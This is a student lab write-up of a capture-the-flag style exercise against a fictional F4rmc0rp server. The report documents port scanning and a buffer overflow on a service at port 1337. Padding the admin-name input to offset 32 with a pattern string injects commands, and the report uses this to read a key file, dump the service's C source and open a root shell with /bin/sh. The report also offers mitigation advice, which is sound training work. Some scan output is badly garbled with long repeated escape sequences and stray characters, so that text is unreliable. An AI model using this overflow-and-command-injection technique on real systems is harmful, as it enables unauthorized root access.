Ex070 - BriansService

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Executive Summary

In this exercise we were tasked to exploit a buffer vulnerable program by using fuzz testing and logical inferences. This fuzz testing was performed against the F4rmc0rp server on a port created by system administrator Brian Oppenheimer. We have to find the secret port Brian's service is running on and attack it

Technical Report

Finding: Description of finding

Risk Rating

The risk rating for an exploit like this is very low for the attacker.

Vulnerability Description

• Buffer Overflow

 Attackers can exploit buffer overflow by overwriting the memory of applications. This even enables them to overwrite areas of executable code and replace entire code blocks, allowing for unexpected inputs and such bypasses.

Mitigation or Resolution Strategy

The best way to prevent buffer overflow is to use a programming language that does not allow for them. C easily allows buffer overflow because its direct access to memory. If you cannot change languages then write more secure code for example, rather than using strcopy or streat use strncpy and strncat. These are more secure since they only write to the max size of the buffer.

Attack Narrative

To begin this attack we had to locate the port Brian's service was running on this was achieved by running a Nmap TCP version scan with the following command: nmap -p0-65535 -sV www.f4rmc0rp.com.

This results of this scan can be seen below:

```
:~$ nmap -p0-65535 -sV www.f4rmc0rp.com
Starting Nmap -pu-bosso -sv www.f4rmc0rp.com
Starting Nmap 7.80 ( https://nmap.com ) at 2020-10-09 11:09 EDT
Nmap scan report for www.f4rmc0rp.com (172.30.0.128)
Host is up (0.00021s latency).
rDNS record for 172.30.0.128: ns.f4rmc0rp.com
 Not shown: 65529 closed ports
 PORT STATE
                                         SERVICE VERSION
                    filtered unknown
 0/tcp
22/tcp open
53/tcp open
                                                             OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
                                          domain ISC BIND 9.11.5-P4-5.1+deb10u1 (Debian Linux)
                                         http Apache httpd 2.4.38 ((Debian))
ssl/ssl Apache httpd (SSL-only mode)
80/tcp open
443/tcp open
1337/tcp open
                                        waste?
                                        ftp
                                                           vsftpd 2.3.4
2121/tcp open
  service unrecognized despite returning data. If you know the service/version, please submit the following fi
ngerprint at https://nmap.org/cgi-bin/submit.cgi?new-service
 SF-Port1337-TCP:V=7.80%I=7%D=10/9%Time=5F807D18%P=x86_64-pc-linux-gnu%r(NU
SF:LL,28,"Enter\x20Name\x20of\x20admin\x20\(max\x2015\x20characters\)\n")%
SF:r(GenericLines,78,"Enter\x20Name\x20of\x20admin\x20\(max\x2015\x20chara
SF:cters\)\nEnter\x20Name\x20of\x20admin\x20\(max\x2015\x20characters\)\nE
SF:nter\x20Name\x20of\x20admin\x20\(max\x2015\x20characters\)\n")%r(GetReg
SF:uest,78,"Enter\x20Name\x20of\x20admin\x20\(max\x2015\x20characters\)\nE
SF:nter\x20Name\x20of\x20admin\x20\(max\x2015\x20characters\)\nEnter\x20Na
SF:me\x20of\x20admin\x20\(max\x2015\x20characters\)\n")%r(HTTPOptions,78,
SF:Enter\x20Name\x20of\x20admin\x20\(max\x2015\x20characters\)\nEnter\x20N
SF:ame\x20of\x20admin\x20\(max\x2015\x20characters\)\nEnter\x20Name\x20of\
SF:x20admin\x20\(max\x2015\x20characters\)\n")%r(RTSPRequest,78,"Enter\x20
SF:Name\x20of\x20admin\x20\(max\x2015\x20characters\)\nEnter\x20Name\x20of
SF:\x20admin\x20\(max\x2015\x20characters\)\nEnter\x20Name\x20of\x20admin\x56\;
SF:\x20admin\x20\f\x20admin\x20\f\x20admin\x20\f\x20admin\x20\f\x20admin\x20\f\x20admin\x20\f\x20admin\x20\f\x20\f\x20admin\x20\f\x20admin\x20\f\x20admin\x20\f\x20admin\x20\f\x20xadmin\x20\f\x20xadmin\x20\f\x20xadmin\x20\f\x20xadmin\x20\f\x20xadmin\x20\f\x20xadmin\x20\f\x20\f\x20xadmin\x20\f\x20\f\x20xadmin\x20\f\x20\f\x20xadmin\x20\f\x20\f\x20xadmin\x20\f\x20\f\x20xadmin\x20\f\x20\f\x20xadmin\x20\f\x20\f\x20xadmin\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f\x20\f
SF:tusRequestTCP,28,"Enter\x20Name\x20of\x20admin\x20\(max\x2015\x20charac
SF:ters\)\n")%r(Help,50,"Enter\x20Name\x20of\x20admin\x20\(max\x2015\x20ch
SF:aracters\)\nEnter\x20Name\x20of\x20admin\x20\(max\x2015\x20characters\)
SF:\n")%r(SSLSessionReq,50,"Enter\x20Name\x20of\x20admin\x20\(max\x2015\x2
 SF:0characters\)\nEnter\x20Name\x20of\x20admin\x20\(max\x2015\x20character
SF:s\)\n")%r(TerminalServerCookie,50,"Enter\x20Name\x20of\x20admin\x20\(ma
```

From the results the only port that stood out was 1337. Furthermore, using the information found in the background section of the exercise specifications Brian mentions he is "joining the ranks of the 1337." Making an educated guess that this was the port meant to be attacked we continued with the by using netcat to connect to the service. This was done by running the following: nc www.f4rmc0rp.com 1337.

Once connected we are prompted to enter an Admin name. By guessing I was able to see that brian was a valid input, however, this did not help me in finding the source code nor a key. We then began to attack the buffer overflow by making use of the msf-pattern generatation tools. This can be seen below:

We can see that our input overflows out of the buffer, by using the msf-pattern_offset command we were able to see that it occurs at offset 32. With this information we then began to plant our desired commands by overflowing the buffer. The key was found by performing the following:

```
linkali:~$ msf-pattern_create -l 32
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab
       li:~$ nc www.f4rmc0rp.com 1337
Enter Name of admin (max 15 characters)
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Abgrep -nr "KEY009:*" /home/brian
Enter Name of admin (max 15 characters)
brian
Enter Command
  grep -nr "KEY009:*" /home/brian
  Y009:*" /home/brian
  e/brian
grep -nr "KEY009:*" /home/brian
/home/brian/.key9:1:KEY009:mQG$\x20lNp_R?e;zMq,c$&Ec))
Enter Command
   grep -nr "KEY009:*" /home/brian
   Y009:*" /home/brian
  e/brian
```

If we syntactically correct this we get $KEY009:mQG$\x201Np_R?e;zMq,c$&Ec))==$

After finding the key I investigated the source code for Brian's service:

```
li:~$ nc www.f4rmc0rp.com 1337
Enter Name of admin (max 15 characters)
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Abcat /home/brian/toool.c
Enter Name of admin (max 15 characters)
brian
Enter Command
  cat /home/brian/toool.c
  ian/toool.c
cat /home/brian/toool.c
// toool.c (Admin tool)
// Written by Brian Oppenheimer
// This is my first service written in C.
// It lets you do quick remote checks on a machine.
// For maximum flexibility, run this service as root.
// There shouldn't be any problems with this because the set of
// commands is very limited.
#include <unistd.h>
#include <stdio.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdlib.h>
# include <netinet/in.h>
#include <string.h>
#define MY_PORT 1337
#define IP 0
#define MY_NAME "brian"
```

```
#define MY_PORT 1337
#define IP 0
#define MY_NAME "brian"
#define BUFLEN 1024
#define NAMELEN 16
#define CMDLEN 12
char *buffer[BUFLEN] = {0};
char *enter_name = "Enter Name of admin (max 15 characters)";
char *enter_command = "Enter Command";
char admin[NAMELEN];
char next_command[CMDLEN+1];
char commands[37];
int main(int argc, char const **argv, char const **envp)
 pid_t child_pid;
 int server_fd, new_socket, valread;
  struct sockaddr_in sock_address;
  int opt = 1;
  int addrlen = sizeof(sock_address);
  // Populate commandlist
  strcpy(commands, "ps auxww");
 strcpy(commands+CMDLEN, "ip a");
 strcpy(commands+CMDLEN*2, "netstat -nat");
  // open socket
 if (0 = (server_fd = socket(AF_INET, SOCK_STREAM, IP))) {
   perror("socket failed");
    exit(EXIT_FAILURE);
```

Here we can see that the buffer can be easily overflowed, Brian could improve the security of his code by dynamically allocating a buffer size with **malloc()** or by using strn rather than str.

It is also important to note that **/bin/sh** can be used to open a root shell, allowing us to run commands like normal! As seen below:

```
kaliakali:~$ nc www.f4rmc0rp.com 1337
Enter Name of admin (max 15 characters)
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab/bin/sh
Enter Name of admin (max 15 characters)
brian
Enter Command
   /bin/sh
   ip a
  netstat -nat
/bin/sh
ไร
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
```